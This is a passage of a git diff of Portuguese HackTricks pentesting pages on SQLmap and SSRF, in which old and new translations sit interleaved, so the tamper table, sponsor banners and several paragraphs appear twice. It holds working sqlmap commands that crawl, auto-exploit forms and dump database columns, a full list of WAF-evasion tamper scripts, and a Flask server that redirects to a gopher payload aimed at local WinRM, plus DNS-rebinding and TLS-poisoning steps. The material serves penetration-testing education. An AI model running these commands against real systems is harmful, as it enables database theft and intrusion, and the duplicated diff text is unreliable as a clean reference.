sqlmap -u <URL do site>
```
2. O SQLmap começará a rastrear o site em busca de possíveis pontos de injeção de SQL. Ele enviará várias solicitações HTTP para o site e analisará as respostas em busca de sinais de vulnerabilidades.
3. Assim que o SQLmap encontrar um ponto de injeção de SQL, ele solicitará sua confirmação para explorar a vulnerabilidade. Você pode optar por explorar todas as vulnerabilidades encontradas ou selecionar apenas as que deseja explorar.
4. Após confirmar a exploração, o SQLmap executará automaticamente uma série de técnicas de injeção de SQL para extrair informações do banco de dados subjacente. Ele pode recuperar dados confidenciais, como nomes de usuário, senhas, informações de cartão de crédito, entre outros.
5. O SQLmap também oferece a opção de automatizar a exploração de outras vulnerabilidades além da injeção de SQL, como a execução remota de comandos.
É importante ressaltar que o uso do SQLmap em um site sem permissão prévia é ilegal e antiético. Sempre obtenha permissão por escrito do proprietário do site antes de realizar qualquer teste de penetração.
### Rastrear um site com SQLmap e auto-explorar
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -258,29 +126,15 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--forms = Parse and test forms
```
### Injeção de Segunda Ordem
Second Order Injection is a type of SQL injection attack that occurs when user input is stored in a database and later used in a different context without proper sanitization. This can lead to the execution of malicious SQL statements.
A typical scenario for second order injection is when user input is stored in a database and later retrieved and used in a SQL query. If the input is not properly sanitized or validated, an attacker can manipulate the stored data to inject malicious SQL code.
For example, consider a web application that allows users to submit comments. The comments are stored in a database and later displayed on a webpage. If the application does not properly sanitize the user input before storing it in the database, an attacker can submit a comment containing malicious SQL code.
When the comment is retrieved from the database and displayed on the webpage, the malicious SQL code will be executed, potentially allowing the attacker to extract sensitive information, modify data, or even take control of the underlying database.
To prevent second order injection attacks, it is important to properly sanitize and validate user input before storing it in a database. This can be done by using parameterized queries or prepared statements, which ensure that user input is treated as data and not as executable code.
Additionally, it is recommended to implement strict input validation and output encoding to further mitigate the risk of second order injection attacks.
By understanding the concept of second order injection and implementing proper security measures, developers can protect their applications from this type of SQL injection vulnerability.
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**Leia este post**](second-order-injection-sqlmap.md) **sobre como realizar injeções de segunda ordem simples e complexas com o sqlmap.**
[**Leia este post**](second-order-injection-sqlmap.md)**sobre como realizar injeções de segunda ordem simples e complexas com sqlmap.**
## Laboratórios para praticar
## Laboratórios para prática
* Aprenda sobre o sqlmap usando-o na **sala THM**:
* Aprenda sobre sqlmap utilizando-o no **THM room**:
{% embed url="https://tryhackme.com/room/sqlmap" %}
@ -295,113 +149,83 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Ajuda para encontrar injeção booleana
O objetivo deste guia é fornecer orientações sobre como encontrar injeções booleanas durante um teste de penetração em um aplicativo da web usando a ferramenta SQLMap.
#### O que é injeção booleana?
A injeção booleana é uma técnica de ataque que explora vulnerabilidades em aplicativos da web que não validam corretamente as entradas do usuário. Essa técnica envolve a manipulação de consultas SQL para obter informações confidenciais do banco de dados.
#### Usando o SQLMap para encontrar injeções booleanas
O SQLMap é uma ferramenta de teste de penetração automatizada que pode ser usada para detectar e explorar injeções de SQL em aplicativos da web. Para encontrar injeções booleanas, siga as etapas abaixo:
1. Execute o SQLMap no modo de detecção de injeção de SQL em um URL específico:
```
sqlmap -u <URL> --dbs --level 5 --risk 3
```
Certifique-se de substituir `<URL>` pelo URL do aplicativo da web que você está testando.
2. Analise a saída do SQLMap em busca de possíveis injeções booleanas. Procure por mensagens como "injeção booleana detectada" ou "injeção booleana bem-sucedida".
3. Se uma injeção booleana for detectada, você pode usar o SQLMap para explorá-la e extrair informações do banco de dados. Use o seguinte comando:
```
sqlmap -u <URL> -D <database> -T <table> -C <column> --dump
```
Substitua `<URL>` pelo URL do aplicativo da web, `<database>` pelo nome do banco de dados, `<table>` pelo nome da tabela e `<column>` pelo nome da coluna que você deseja extrair.
4. Analise os resultados obtidos pelo SQLMap para encontrar informações confidenciais, como nomes de usuário, senhas ou outros dados sensíveis.
#### Conclusão
A injeção booleana é uma técnica de ataque poderosa que pode ser explorada para obter informações confidenciais de um banco de dados. O SQLMap é uma ferramenta útil para detectar e explorar injeções booleanas em aplicativos da web. No entanto, é importante lembrar que o uso dessa técnica em sistemas sem permissão é ilegal e antiético. Portanto, sempre obtenha permissão antes de realizar testes de penetração em um aplicativo da web.
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Manipulação
### Tamper
Lembre-se de que **você pode criar sua própria manipulação em python** e é muito simples. Você pode encontrar um exemplo de manipulação na [página de Injeção de Segunda Ordem aqui](second-order-injection-sqlmap.md).
Lembre-se de que **você pode criar seu próprio tamper em python** e é muito simples. Você pode encontrar um exemplo de tamper na [página de Injeção de Segunda Ordem aqui](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Descrição |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Substitui o caractere apóstrofo pelo seu equivalente de largura total em UTF-8 |
| apostrophenullencode.py | Substitui o caractere apóstrofo pelo seu equivalente de duplo unicode ilegal |
| appendnullbyte.py | Adiciona um caractere de byte NULL codificado no final do payload |
| base64encode.py | Codifica em Base64 todos os caracteres em um determinado payload |
| between.py | Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Substitui o caractere de espaço após a declaração SQL por um caractere em branco válido e aleatório. Em seguida, substitui o caractere '=' pelo operador LIKE |
| chardoubleencode.py | Codifica em URL dupla todos os caracteres em um determinado payload (não processa caracteres já codificados) |
| commalesslimit.py | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M' |
| commalessmid.py | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)' |
| concat2concatws.py | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Codifica em URL todos os caracteres em um determinado payload (não processa caracteres já codificados) |
| charunicodeencode.py | Codifica em URL Unicode os caracteres não codificados em um determinado payload (não processa caracteres já codificados). "%u0022" |
| charunicodeescape.py | Codifica em URL Unicode os caracteres não codificados em um determinado payload (não processa caracteres já codificados). "\u0022" |
| equaltolike.py | Substitui todas as ocorrências do operador igual ('=') pelo operador LIKE |
| escapequotes.py | Escapa aspas (' e ") |
| greatest.py | Substitui o operador maior que ('>') pelo seu equivalente 'GREATEST' |
| halfversionedmorekeywords.py | Adiciona um comentário versionado do MySQL antes de cada palavra-chave |
| ifnull2ifisnull.py | Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Envolve a consulta completa com um comentário versionado |
| modsecurityzeroversioned.py | Envolve a consulta completa com um comentário de versão zero |
| multiplespaces.py | Adiciona vários espaços ao redor das palavras-chave SQL |
| nonrecursivereplacement.py | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) |
| percentage.py | Adiciona um sinal de porcentagem ('%') antes de cada caractere |
| overlongutf8.py | Converte todos os caracteres em um determinado payload (não processa caracteres já codificados) |
| randomcase.py | Substitui cada caractere de palavra-chave por um valor de caso aleatório |
| apostrophemask.py | Substitui o caractere apóstrofo pela sua contraparte em largura total UTF-8 |
| apostrophenullencode.py | Substitui o caractere apóstrofo por seu equivalente ilegal em unicode duplo |
| appendnullbyte.py | Acrescenta caractere de byte NULL codificado ao final da carga útil |
| base64encode.py | Codifica em Base64 todos os caracteres em uma carga útil dada |
| between.py | Substitui o operador de maior que ('>') por 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Depois substitui o caractere = pelo operador LIKE |
| chardoubleencode.py | Codifica duas vezes a URL de todos os caracteres em uma carga útil dada (não processando os já codificados) |
| commalesslimit.py | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M' |
| commalessmid.py | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)' |
| concat2concatws.py | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Codifica a URL de todos os caracteres em uma carga útil dada (não processando os já codificados) |
| charunicodeencode.py | Codifica em unicode-url caracteres não codificados em uma carga útil dada (não processando os já codificados). "%u0022" |
| charunicodeescape.py | Codifica em unicode-url caracteres não codificados em uma carga útil dada (não processando os já codificados). "\u0022" |
| equaltolike.py | Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE' |
| escapequotes.py | Escapa aspas com barra invertida (' e ") |
| greatest.py | Substitui o operador de maior que ('>') pelo equivalente 'GREATEST' |
| halfversionedmorekeywords.py | Adiciona comentário MySQL versionado antes de cada palavra-chave |
| ifnull2ifisnull.py | Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Envolve a consulta completa com comentário versionado |
| modsecurityzeroversioned.py | Envolve a consulta completa com comentário versionado zero |
| multiplespaces.py | Adiciona múltiplos espaços em torno de palavras-chave SQL |
| nonrecursivereplacement.py | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) filtros |
| percentage.py | Adiciona um sinal de porcentagem ('%') na frente de cada caractere |
| overlongutf8.py | Converte todos os caracteres em uma carga útil dada (não processando os já codificados) |
| randomcase.py | Substitui cada caractere de palavra-chave por um valor de caixa aleatória |
| randomcomments.py | Adiciona comentários aleatórios às palavras-chave SQL |
| securesphere.py | Adiciona uma string especial criada |
| sp\_password.py | Adiciona 'sp\_password' ao final do payload para obfuscação automática dos logs do DBMS |
| securesphere.py | Acrescenta uma string especialmente elaborada |
| sp\_password.py | Acrescenta 'sp\_password' ao final da carga útil para obfuscação automática dos logs do DBMS |
| space2comment.py | Substitui o caractere de espaço (' ') por comentários |
| space2dash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma string aleatória e uma nova linha ('\n') |
| space2hash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma string aleatória e uma nova linha ('\n') |
| space2morehash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma string aleatória e uma nova linha ('\n') |
| space2mssqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| space2mssqlhash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma nova linha ('\n') |
| space2mysqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| space2mysqldash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma nova linha ('\n') |
| space2plus.py | Substitui o caractere de espaço (' ') por um sinal de adição ('+') |
| space2randomblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| symboliclogical.py | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e ||) |
| space2dash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido por uma string aleatória e uma nova linha ('\n') |
| space2hash.py | Substitui o caractere de espaço (' ') por um caractere de cerquilha ('#') seguido por uma string aleatória e uma nova linha ('\n') |
| space2morehash.py | Substitui o caractere de espaço (' ') por um caractere de cerquilha ('#') seguido por uma string aleatória e uma nova linha ('\n') |
| space2mssqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| space2mssqlhash.py | Substitui o caractere de espaço (' ') por um caractere de cerquilha ('#') seguido por uma nova linha ('\n') |
| space2mysqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| space2mysqldash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido por uma nova linha ('\n') |
| space2plus.py | Substitui o caractere de espaço (' ') por um mais ('+') |
| space2randomblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| symboliclogical.py | Substitui operadores lógicos AND e OR por seus equivalentes simbólicos (&& e |
| unionalltounion.py | Substitui UNION ALL SELECT por UNION SELECT |
| unmagicquotes.py | Substitui o caractere de aspas (') por uma combinação multibyte %bf%27 juntamente com um comentário genérico no final (para fazer funcionar) |
| uppercase.py | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT' |
| varnish.py | Adiciona um cabeçalho HTTP 'X-originating-IP' |
| versionedkeywords.py | Envolve cada palavra-chave não funcional com um comentário versionado do MySQL |
| versionedmorekeywords.py | Envolve cada palavra-chave com um comentário versionado do MySQL |
| xforwardedfor.py | Adiciona um cabeçalho HTTP falso 'X-Forwarded-For' |
| unmagicquotes.py | Substitui o caractere de aspas (') por uma combinação de bytes múltiplos %bf%27 junto com um comentário genérico no final (para funcionar) |
| uppercase.py | Substitui cada caractere de palavra-chave por um valor em caixa alta 'INSERT' |
| varnish.py | Acrescenta um cabeçalho HTTP 'X-originating-IP' |
| versionedkeywords.py | Encerra cada palavra-chave não-funcional com comentário MySQL versionado |
| versionedmorekeywords.py | Encerra cada palavra-chave com comentário MySQL versionado |
| xforwardedfor.py | Acrescenta um cabeçalho HTTP falso 'X-Forwarded-For' |
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference**](https://www.dragonjarcon.org/) é um evento internacional de segurança cibernética com mais de uma década de existência, que será realizado nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de alto conteúdo técnico que apresenta as últimas pesquisas em espanhol e atrai hackers e pesquisadores de todo o mundo.\
[**DragonJAR Security Conference é um evento internacional de cibersegurança**](https://www.dragonjarcon.org/) com mais de uma década que será realizado nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de alto conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atrai hackers e pesquisadores de todo o mundo.\
Registre-se agora no seguinte link e não perca esta grande conferência!:
{% embed url="https://www.dragonjarcon.org/" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

52
pentesting-web/ssrf-server-side-request-forgery/README.md
View file

@ -1,6 +1,6 @@
# SSRF (Server Side Request Forgery)
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
@ -10,13 +10,15 @@ Obtenha Acesso Hoje:
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -124,7 +126,7 @@ De [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/
### Curl URL globbing - WAF bypass
Se o SSRF for executado pelo **curl**, o curl tem um recurso chamado [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que pode ser útil para contornar WAFs. Por exemplo, neste [**relato**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) você pode encontrar este exemplo para um **path traversal via protocolo `file`**:
Se o SSRF for executado por **curl**, o curl tem um recurso chamado [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que pode ser útil para contornar WAFs. Por exemplo, neste [**relato**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) você pode encontrar este exemplo para um **path traversal via protocolo `file`**:
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
@ -138,7 +140,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
## SSRF via cabeçalho Referrer
Algumas aplicações utilizam software de análise do lado do servidor que rastreia visitantes. Este software frequentemente registra o cabeçalho Referrer nas solicitações, uma vez que isso é de particular interesse para o rastreamento de links de entrada. Muitas vezes, o software de análise realmente visita qualquer URL de terceiros que apareça no cabeçalho Referrer. Isso é tipicamente feito para analisar o conteúdo dos sites de referência, incluindo o texto âncora que é usado nos links de entrada. Como resultado, o cabeçalho Referer frequentemente representa uma superfície de ataque produtiva para vulnerabilidades SSRF.\
Algumas aplicações utilizam software de análise do lado do servidor que rastreia visitantes. Esse software frequentemente registra o cabeçalho Referrer nas solicitações, uma vez que isso é de particular interesse para rastrear links de entrada. Muitas vezes, o software de análise realmente visita qualquer URL de terceiros que apareça no cabeçalho Referrer. Isso é tipicamente feito para analisar o conteúdo dos sites de referência, incluindo o texto âncora que é usado nos links de entrada. Como resultado, o cabeçalho Referer frequentemente representa uma superfície de ataque produtiva para vulnerabilidades SSRF.\
Para descobrir esse tipo de vulnerabilidades "ocultas", você poderia usar o plugin "**Collaborator Everywhere**" do Burp.
## SSRF via dados SNI de certificado
@ -180,7 +182,7 @@ Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sess
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
## SSRF Redirecionando para Gopher
## Redirecionamento SSRF para Gopher
Para algumas explorações, você pode precisar **enviar uma resposta de redirecionamento** (potencialmente para usar um protocolo diferente como gopher). Aqui você tem diferentes códigos python para responder com um redirecionamento:
```python
@ -212,10 +214,10 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com ferramentas comunitárias **mais avançadas** do mundo.\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -230,7 +232,7 @@ Se você está tendo **problemas** para **exfiltrar conteúdo de um IP local** p
### DNS Rebidding Automatizado
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para reassociar o endereço IP do nome do servidor DNS do atacante para o endereço IP da máquina alvo e para servir cargas de ataque para explorar software vulnerável na máquina alvo.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para reassociar o endereço IP do nome do servidor DNS do atacante para o endereço IP da máquina alvo e para servir cargas de ataque para explorar softwares vulneráveis na máquina alvo.
Confira também o **servidor público em execução em** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)\*\*\*\*
@ -245,13 +247,13 @@ Requisitos:
Ataque:
1. Peça ao usuário/bot **acesso** a um **domínio** controlado pelo **atacante**
2. O **TTL** do **DNS** é **0** seg (então a vítima verificará o IP do domínio novamente em breve)
2. O **TTL** do **DNS** é de **0** seg (então a vítima verificará o IP do domínio novamente em breve)
3. Uma **conexão TLS** é criada entre a vítima e o domínio do atacante. O atacante introduz o **payload dentro** do **Session ID ou Session Ticket**.
4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **si mesmo**. O objetivo disso é fazer o usuário/bot acessar o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
5. Na solicitação DNS, um endereço IP **privado** é fornecido **agora** (127.0.0.1, por exemplo)
6. O usuário/bot tentará **restabelecer a conexão TLS** e, para isso, **enviará** o ID da **Sessão**/Ticket ID (onde o **payload** do atacante estava contido). Então parabéns, você conseguiu fazer o **usuário/bot atacar a si mesmo**.
6. O usuário/bot tentará **restabelecer a conexão TLS** e, para isso, **enviará** o ID da **Sessão**/Ticket ID (onde o **payload** do atacante estava contido). Então, parabéns, você conseguiu fazer o **usuário/bot atacar a si mesmo**.
Note que durante esse ataque, se você quiser atacar localhost:11211 (_memcache_), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (o **porto deve ser sempre o mesmo**).\
Note que, durante esse ataque, se você quiser atacar localhost:11211 (_memcache_), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (o **porto deve ser sempre o mesmo**).\
Para **realizar este ataque, você pode usar a ferramenta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Para **mais informações**, veja a palestra onde este ataque é explicado: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
@ -320,20 +322,22 @@ SSRF Proxy é um servidor proxy HTTP multi-thread projetado para tunelar o tráf
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com ferramentas comunitárias **mais avançadas** do mundo.\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:
